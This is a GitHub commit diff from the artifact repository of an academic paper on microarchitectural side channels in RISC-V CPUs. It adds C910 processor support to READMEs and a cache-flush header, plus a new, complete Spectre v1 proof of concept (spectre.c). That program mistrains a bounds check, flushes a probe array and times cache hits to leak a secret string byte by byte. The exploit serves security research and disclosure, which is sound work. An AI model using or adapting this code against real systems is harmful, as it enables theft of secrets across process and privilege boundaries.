Skip to content

Commit 750913f

Browse files
author
lukas
committed
add C910
1 parent 7cc878a commit 750913f

File tree

19 files changed

+185
-26
lines changed

19 files changed

+185
-26
lines changed

README.md

+20-11
Original file line numberDiff line numberDiff line change
@@ -1,19 +1,28 @@
11
# Artifacts for A Security RISC
2-
This repository contains the artifacts for the IEEE S&P 2023 paper "A Security RISC: Microarchitectural Attacks on Hardware RISC-V CPUs". You can find the paper at the [CISPA website](https://cispa.de/en/research/publications/3924-a-security-risc-microarchitectural-attacks-on-hardware-risc-v-cpus).
2+
This repository contains the artifacts for the IEEE S&P 2023 paper "A Security RISC: Microarchitectural Attacks on Hardware RISC-V CPUs". You can find the paper on the [CISPA website](https://cispa.de/en/research/publications/3924-a-security-risc-microarchitectural-attacks-on-hardware-risc-v-cpus).
3+
34

45
## Supported Processors and Distributions
5-
Currently the experiments are tested on both the Alwinner C906 and SiFive U74 processors.
6-
You can find implementations specific to each of the two processors in the `./C906` and `./u74` subfolders.
7-
Software specifications from our paper:
8-
- The C906 processors used run Debian 12 with with the kernels 5.14.0-rc4-nezha (Nezha) and 5.4.61 (Lichee RV).
9-
- The U74 processors on the VisionFive board run Ubuntu 22.04.1 LTS with the 5.17.5-visionfive kernel
6+
Currently, the experiments are tested on both the Alwinner C906, C910 and SiFive U74 processors.
7+
Processor specifications from our paper, C910 processor was added afterwards:
8+
9+
| Processor | Manufacturer | Distro | Kernel |
10+
|-----------|--------------|--------------------|----------------------------------------------|
11+
| C906 | Allwinner | Debian 12 | 5.14.0-rc4-nezha (Nezha), 5.4.61 (Lichee RV) |
12+
| C910 | Allwinner | Ubuntu 23.04 | 5.10.113-g52fbe8443ea1-dirty |
13+
| U74 | SiFive | Ubuntu 22.04.1 LTS | 5.17.5-visionfive |
14+
1015

1116
## Utils
12-
We provide a `riscsc.h` header file that bundles a few useful instructions for all experiments.
13-
To use the header, simply add `#include "riscsc.h"` to your code, after copying the header to your path.
17+
We provide a `rlibsc.h` header file that bundles a few useful instructions for all experiments.
18+
To use the header, simply add `#include "rlibsc.h"` to your code, after copying the header to your path.
1419

1520
## Materials
1621
Each subfolder contains a README on how to run the specific experiment. We provide source code for the following experiments:
22+
23+
### Additional Materials
24+
- `spectre`: Spectre exploit on the C910 processor
25+
1726
### Case Studies
1827
- `access-retired`: Discovers hidden files on a system by monitoring the ammount of retired instructions. This code is used during the Dropbox case study.
1928
- `zigzagger`: Code for the zigzagger case study showing that it is possible to distinguish the branch direction of zigzagger protected code via the count of retired instructions.
@@ -26,9 +35,9 @@ Each subfolder contains a README on how to run the specific experiment. We provi
2635
- `evict_reload_histrogram`: Generates a histrogram for an Evict+Reload covert channel
2736
- `fence_flush_histogram`: Generates a histrogram for an Flush+Reload attack on the I-Cache using the `fence.i` instruction.
2837
- `fgprime_probe_histrogram`: Optimized Prime+Probe for the C906 making use of the FIFO relacement strategy to achive highter transfer rates.
29-
- `iflush_reload_histogram`: Generates a Flush+Reload histogram using the `icache.iva` instruction on the C906.
30-
- `flush_reload_histogram`: Generates a Flush+Reload histogram using the `dcache.iva` instruction on the C906.
31-
- `flush_flush_histogram`: Generates a Flush+Flush histogram using the `dcache.iva` instruction on the C906.
38+
- `iflush_reload_histogram`: Generates a Flush+Reload histogram using the `icache.iva` instruction on the C906 and C910.
39+
- `flush_reload_histogram`: Generates a Flush+Reload histogram using the `dcache.iva` instruction on the C906 and C910.
40+
- `flush_flush_histogram`: Generates a Flush+Flush histogram using the `dcache.iva` instruction on the C906 and C910.
3241
- `prime_probe_histogram`: Histrogram for a Prime+Probe attack.
3342
- `tlb_evict_histogram`: Code to genereate a histogram showing that it is possible to evict TLB entries.
3443
- `spectre-v1`: Histogram that shows that code is spculatively fetched, enabling our Cache+Time attack.

access-retired/README.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -9,4 +9,4 @@ Build the PoC using `make`, and create the inaccessible folder using `make prepa
99
Then run `./main`.
1010

1111
## Works on
12-
C906, U74
12+
C906, U74, C910

fence-flush/README.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -7,4 +7,4 @@ To flush, the PoC uses the `fence.i` instruction which flushes the entire instru
77
Run `make` then `./hist`
88

99
# Works on
10-
C906,U74
10+
C906,U74,C910

flush-fault/README.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -8,4 +8,4 @@ Run `make` then `./flush-fault` or `./flush-ret`.
88
Afterward, execute `python3 stats.py flush-fault` or `python3 stats.py flush-ret`.
99

1010
# Works on
11-
C906,U74
11+
C906,U74,C910

flush_flush_histogram/README.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -7,4 +7,4 @@ To flush, the PoC uses the custom C906 instruction `dcache.civa` which flushes a
77
Run `make` then `./hist`
88

99
# Works on
10-
C906 (because custom cache flush instruction)
10+
C906,C910 (because custom cache flush instruction)

flush_reload_histogram/README.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -7,4 +7,4 @@ To flush, the PoC uses the custom C906 instruction `dcache.civa` which flushes a
77
Run `make` then `./hist`
88

99
# Works on
10-
C906 (because custom cache flush instruction)
10+
C906, C910 (because custom cache flush instruction)

iflush_reload_histogram/README.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -7,4 +7,4 @@ To flush, the PoC uses the custom C906 instruction `icache.iva` which flushes a
77
Run `make` then `./hist`
88

99
# Works on
10-
C906 (because custom cache flush instruction)
10+
C906, C910 (because custom cache flush instruction)

iflush_reload_histogram/hist.c

+1-1
Original file line numberDiff line numberDiff line change
@@ -32,7 +32,7 @@ void measure_hits(void *address, size_t *histogram,
3232
histogram[hit]++;
3333
}
3434
}
35-
35+
3636
void measure_misses(void *address, size_t *histogram,
3737
size_t number_of_measurements) {
3838
for (size_t i = 0; i < number_of_measurements; i++) {

inst-cycles/README.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -5,4 +5,4 @@ Measure the execution time (in cycles) of instructions.
55
Simply `make; ./main`
66

77
# Works on
8-
C906,U74
8+
C906,U74,C910

interrupt-timing/README.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -7,4 +7,4 @@ To test that the attacker works you will have to send network interrupts to the
77
To test, run the program and from a different machine run `ping -s 50000 -i 3 <target machine ip>`.
88

99
# Works on
10-
C906,U74
10+
C906,U74,C910

page-walk/README.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -6,4 +6,4 @@ This experiment shows that a page table walk does not issue additional instructi
66
Run `make` followed by `./main`
77

88
## Works on
9-
U74 (timing difference and retired instruction difference), C906 (timing difference)
9+
U74 (timing difference and retired instruction difference), C906 and C910 (timing difference)

rlibsc.h

+1-1
Original file line numberDiff line numberDiff line change
@@ -98,7 +98,7 @@ static inline void maccess(void *addr) {
9898
// ------------------------------
9999
// C906 specific implementaions +
100100
// ------------------------------
101-
#ifdef C906
101+
#if defined(C906) || defined(C910)
102102

103103
// Flushes virtual address from the D-Cache
104104
static inline void flush(void *addr) {

spectre/Makefile

+7
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
all: spectre
2+
3+
spectre: spectre.c
4+
gcc spectre.c -Os -o spectre
5+
6+
clean:
7+
rm -f spectre

spectre/README.md

+10
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
# Spectre
2+
A simple demonstration of Spectre data leakage.
3+
Only works on cores with speculative execution.
4+
5+
# Run Code
6+
Run `make` then `./spectre`.
7+
You should see the leaked string `Spectre on RISC-V hardware!`
8+
9+
# Works on
10+
C910

spectre/spectre.c

+133
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,133 @@
1+
#define C910
2+
3+
#include <stdio.h>
4+
#include <string.h>
5+
#include <time.h>
6+
#include <assert.h>
7+
#include <stdint.h>
8+
#include <stdlib.h>
9+
#include "../rlibsc.h"
10+
11+
#define BENIGN_SIZE 50
12+
13+
#define SECRET "Spectre on RISC-V hardware!"
14+
#define SECRET_SIZE (sizeof(SECRET) - 1)
15+
#define CACHE_HIT_THRESHOLD 120
16+
17+
#define PAGE_SIZE 2048
18+
#define PROBE_SIZE (256 * PAGE_SIZE)
19+
#define CACHE_LINE_SIZE 64
20+
21+
int buf_size = BENIGN_SIZE;
22+
uint8_t cache_barrier1[512] = {0};
23+
// init with values as this prevents nasty reordering
24+
char victim[BENIGN_SIZE] = {1,2,3,4,5};
25+
uint8_t cache_barrier2[512] = {0};
26+
char probe_array[PROBE_SIZE];
27+
uint8_t cache_barrier3[512];
28+
char secret_data[SECRET_SIZE];
29+
30+
31+
void init() {
32+
srandom(time(NULL));
33+
for (int i = 0; i < PROBE_SIZE; i++) {
34+
probe_array[i] = (char) random();
35+
}
36+
strncpy(victim, "THIS_IS_BENIGN_CONTENT!", BENIGN_SIZE);
37+
strncpy(secret_data, SECRET, SECRET_SIZE);
38+
39+
// prevent optimizing of cache barriers
40+
printf("%s", cache_barrier1);
41+
printf("%s", cache_barrier2);
42+
printf("%s", cache_barrier3);
43+
}
44+
45+
char read_content(int idx) {
46+
if (idx >= 0 && idx < buf_size) {
47+
int tmp = victim[idx];
48+
return probe_array[tmp << 11];
49+
} else
50+
return 0;
51+
}
52+
53+
54+
int leak_byte(int offset, char* leak) {
55+
// assert that we actually need to access out-of-bound that
56+
//printf("got offset: %d\n", offset);
57+
assert(offset > 0 && offset > buf_size);
58+
int junk = 1337;
59+
60+
int hits[256] = {0};
61+
62+
for (int j = 0; j < 150; j++) {
63+
// train by accessing in-bound
64+
for (int i = 50; i > 0; i--) {
65+
junk ^= read_content(0);
66+
}
67+
68+
// flush probe array from cache
69+
for (int i = 0; i < PROBE_SIZE; i += CACHE_LINE_SIZE) {
70+
flush(probe_array + i);
71+
}
72+
73+
74+
fence();
75+
int x;
76+
int training_x = random() % BENIGN_SIZE;
77+
int malicious_x = offset;
78+
// access pattern: 5 training runs and 1 out-of-bound access
79+
for (int i = 0; i < 1; i++) {
80+
flush(&buf_size);
81+
fence();
82+
// bit magic to prevent using a conditional jump
83+
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
84+
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
85+
x = training_x ^ (x & (malicious_x ^ training_x));
86+
junk ^= read_content(x);
87+
}
88+
89+
unsigned int junk2 = 0;
90+
unsigned long long int before, after;
91+
unsigned long long int elapsed[256] = {0};
92+
int idx;
93+
for (int i = 0; i < 256; i++) {
94+
idx = (i * 167 + 13) & 255;
95+
before = rdcycle(&junk2);
96+
junk += probe_array[idx * PAGE_SIZE];
97+
after = rdcycle(&junk2);
98+
elapsed[idx] = after - before;
99+
if (elapsed[idx] < CACHE_HIT_THRESHOLD && idx != training_x) {
100+
hits[idx]++;
101+
//printf("got hit for %c\n", idx);
102+
}
103+
}
104+
}
105+
106+
char best_char = 0;
107+
int best_count = 0;
108+
for (int i = 30; i < 127; i++) {
109+
if (hits[i] > best_count) {
110+
best_char = i;
111+
best_count = hits[i];
112+
}
113+
}
114+
printf("i: 0x%x \t c: %4c \t hit-count: %5d\n", best_char,
115+
best_char, best_count);
116+
*leak = best_char;
117+
return junk;
118+
}
119+
120+
#define NO_BYTES_TO_LEAK SECRET_SIZE
121+
122+
int main() {
123+
init();
124+
int junk = 0;
125+
char leaked[NO_BYTES_TO_LEAK + 1] = {0};
126+
for (int i = 0; i < NO_BYTES_TO_LEAK; i++) {
127+
char curr_leak;
128+
junk ^= leak_byte(secret_data - victim + i, &curr_leak);
129+
leaked[i] = curr_leak;
130+
printf("curr leak: %s\n", leaked);
131+
}
132+
return junk;
133+
}

square-multiply/README.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -7,5 +7,5 @@ As only a single measurement is performed the timing can be unstable (especially
77
Run `make` then `./main`
88

99
# Works on
10-
C906, U74
10+
C906, U74, C910
1111

timer-evaluation/README.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -6,4 +6,4 @@ To run the main timer benchmark simply run `make; ./main` this should print a ta
66
To check the timer increment run `make; ./timer-resulution` which should give the timer increments for each counter.
77

88
## Works on
9-
C906, U74
9+
C906, U74, C910

tlb_evict_histogram/README.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -6,4 +6,4 @@ To evict, the PoC simply accesses 10 addresses on different pages forcing one ad
66
Simply `make; ./hist` should produce an output simmilar to the one below.
77

88
## Works on
9-
C906, U74
9+
C906, U74, C910

zigzagger/README.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -6,4 +6,4 @@ The asm.S file contains the target assembly code implementing the mitigation.
66
Simply run `make` and then `./main` you should see an output simmilar to the one displayed below.
77

88
## Works on
9-
C906,U74
9+
C906,U74,C910

0 commit comments

Comments
 (0)